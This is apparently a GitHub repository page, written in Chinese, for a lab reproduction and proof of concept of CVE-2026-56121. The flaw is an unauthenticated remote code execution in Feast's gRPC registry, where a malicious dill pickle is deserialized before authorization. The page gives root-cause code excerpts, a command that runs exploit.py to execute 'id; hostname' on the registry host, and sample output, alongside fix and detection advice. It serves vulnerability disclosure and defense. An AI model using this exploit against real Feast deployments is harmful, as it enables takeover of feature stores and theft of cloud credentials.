BiiTts/CVE-2026-56121-Feast-Unauth-RCE

GitHub: BiiTts/CVE-2026-56121-Feast-Unauth-RCE

针对 Feast 特征存储平台 CVE-2026-56121 未授权 RCE 漏洞的复现环境与 PoC,利用 gRPC registry 中 dill 反序列化在鉴权前执行的缺陷实现任意代码执行。

Stars: 0 | Forks: 0

# CVE-2026-56121 — 通过 gRPC Registry 反序列化实现的 Feast 未授权 RCE | | | |---|---| | **CVE** | CVE-2026-56121 | | **受影响版本** | Feast `< 0.63.0` | | **修复版本** | `0.63.0` | | **类别** | CWE-502 (不可信数据反序列化) → RCE | | **CVSS** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **认证** | **无** (`auth: no_auth` 为默认值;反序列化发生在授权之前) | | **攻击面** | registry gRPC `RegistryServer.ApplyFeatureView` (默认端口 `6570`) | | **状态** | **已确认** — 已针对 `feast==0.62.0` 完成端到端复现 | ## 根本原因 `sdk/python/feast/registry_server.py`: ``` def ApplyFeatureView(self, request, context): feature_view_type = request.WhichOneof("base_feature_view") ... elif feature_view_type == "on_demand_feature_view": feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize ... assert_permissions_to_update(resource=feature_view, ...) # (2) authorize self.proxied_registry.apply_feature_view(...) ``` `from_proto` (1) 在权限检查 (2) **之前**被调用。它会解析 transformation,而这会通过 `dill.loads()` 执行 UDF 主体 — `sdk/python/feast/transformation/pandas_transformation.py` (以及 `python_transformation.py`): ``` @classmethod def from_proto(cls, user_defined_function_proto): return cls( udf=dill.loads(user_defined_function_proto.body), # <-- attacker-controlled pickle udf_string=user_defined_function_proto.body_text, ) ``` `dill` 是 pickle 的超集,因此对攻击者提供的字节执行 `dill.loads()` 会触发 pickle 的 `__reduce__` 机制 → 任意代码执行。由于它在 `assert_permissions_to_update` 之前运行——而且默认的 `auth: no_auth` 无论如何都会使该检查变为空操作——因此该 RCE 是**未经授权的**。 ## 复现 ``` # 1. 启动一个存在漏洞的 registry server (feast 0.62.0, gRPC :6570, 默认 no_auth) docker compose -f lab/docker-compose.yml up --build -d # 2. 触发 PoC (无凭据) pip install "feast==0.62.0" grpcio python3 exploit.py 127.0.0.1:6570 -c "id; hostname" # 3. 命令输出出现在 registry 主机上 docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned # uid=...(...) ``` 观察结果: ``` [*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body [*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function. [+] dill.loads executed the payload server-side during from_proto. ``` RPC 最终会报错(反序列化后的对象不再是一个可调用的 UDF),但是命令在 `dill.loads()` 期间**已经执行过了**——`cat /tmp/feast_pwned` 会返回实时的 `id`/`uname` 输出,从而证明这并非回显,而是真实的命令执行。 ## 影响 任何能够访问 Feast registry gRPC 端口的人都可以以 registry 服务账户的身份执行任意 OS 命令——这将导致 feature store 及其连接的 offline/online stores、registries 和云凭证被完全攻破。在 ML 平台内部,Feast registries 经常被暴露出来以供 SDK 客户端调用。 ## 修复建议 * 升级至 **Feast ≥ 0.63.0**,该版本添加了 `skip_udf` 路径,使得 registry server 不再反序列化传入 spec 中的 UDF 主体。 * 纵深防御:启用 `auth` (oidc/kubernetes) 并且切勿将 registry 端口暴露给不受信任的网络。请注意,在 `< 0.63.0` 版本上,仅有 auth 是**不够的**,因为反序列化发生在授权检查之前。 ## 检测 针对发往 registry 的 `ApplyFeatureView` / `ApplyMaterialization` RPC(且其 `OnDemandFeatureView` 中的 `user_defined_function.body` 并非由受信任的客户端生成)以及生成 shell 的 registry 进程发出警报。 有关 proto 路径、认证前反序列化的执行顺序以及补丁详情,请参阅 [`ANALYSIS.md`](ANALYSIS.md)。 * 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts) * 漏洞致谢属于最初的报告者/供应商公告;本仓库是出于防御和教育目的的独立复现。仅供授权的安全测试使用。
标签:Go语言工具, gRPC, Python, Python工具, 反序列化漏洞, 安全研究与复现环境, 无后门, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具